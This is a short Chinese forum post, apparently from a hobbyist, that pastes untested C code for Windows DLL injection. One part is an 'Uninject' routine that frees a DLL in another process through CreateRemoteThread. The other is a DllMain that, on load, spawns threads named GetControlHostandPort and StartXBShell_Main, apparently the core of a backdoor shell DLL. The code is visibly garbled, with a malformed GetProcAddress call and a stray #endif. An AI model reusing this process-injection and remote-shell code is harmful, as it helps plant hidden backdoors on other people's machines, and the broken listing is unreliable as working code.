抄别人的,也就没试过了。C语言版的。
还有个注入代码方式,记得在某期的《电脑编程与维护》上见过(Delphi的),可惜是图书馆的杂志,代码又很多.....残念。
int Uninject(DWORD pid, char *dll)
{
HANDLE hProcess = NULL, hThread = NULL, hthSnapshot = NULL;
MODULEENTRY32 hMod = {sizeof(hMod)};
hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pid);
if (hthSnapshot == NULL)
{
return 0;
}
BOOL bMoreMods = Module32First(hthSnapshot, &hMod);
if (bMoreMods == FALSE)
{
return FALSE;
}
for (;bMoreMods;
bMoreMods = Module32Next(hthSnapshot, &hMod))
{
if ((!stricmp(hMod.szExePath, dll))||(!stricmp(hMod.szModule,dll)))
{
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, FALSE, pid);
if (hProcess == NULL)
{
return 0;
}
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"
, "FreeLibrary"
;
if (pfnThreadRtn == NULL)
{
return 0;
}
hThread = CreateRemoteThread(hProcess,NULL,0,pfnThreadRtn,hMod.modBaseAddr,0,NULL);
if (hThread == NULL)
{
return 0;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hthSnapshot);
CloseHandle(hProcess);
}
}
return 1;
}
结果就是,应用程序出错,呵呵,变相卸载。:(
再贴出DLLMAIN,
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hXDll = hModule;
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)GetControlHostandPort,NULL,0,NULL);
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartXBShell_Main,(LPVOID)0,0,NULL);
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartXBShell_Main,(LPVOID)1,0,NULL);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
//FreeLibraryAndExitThread((HINSTANCE)hXDll,0);
//FreeLibrary((HINSTANCE)hXDll);
#endif
break;
}
return TRUE;
}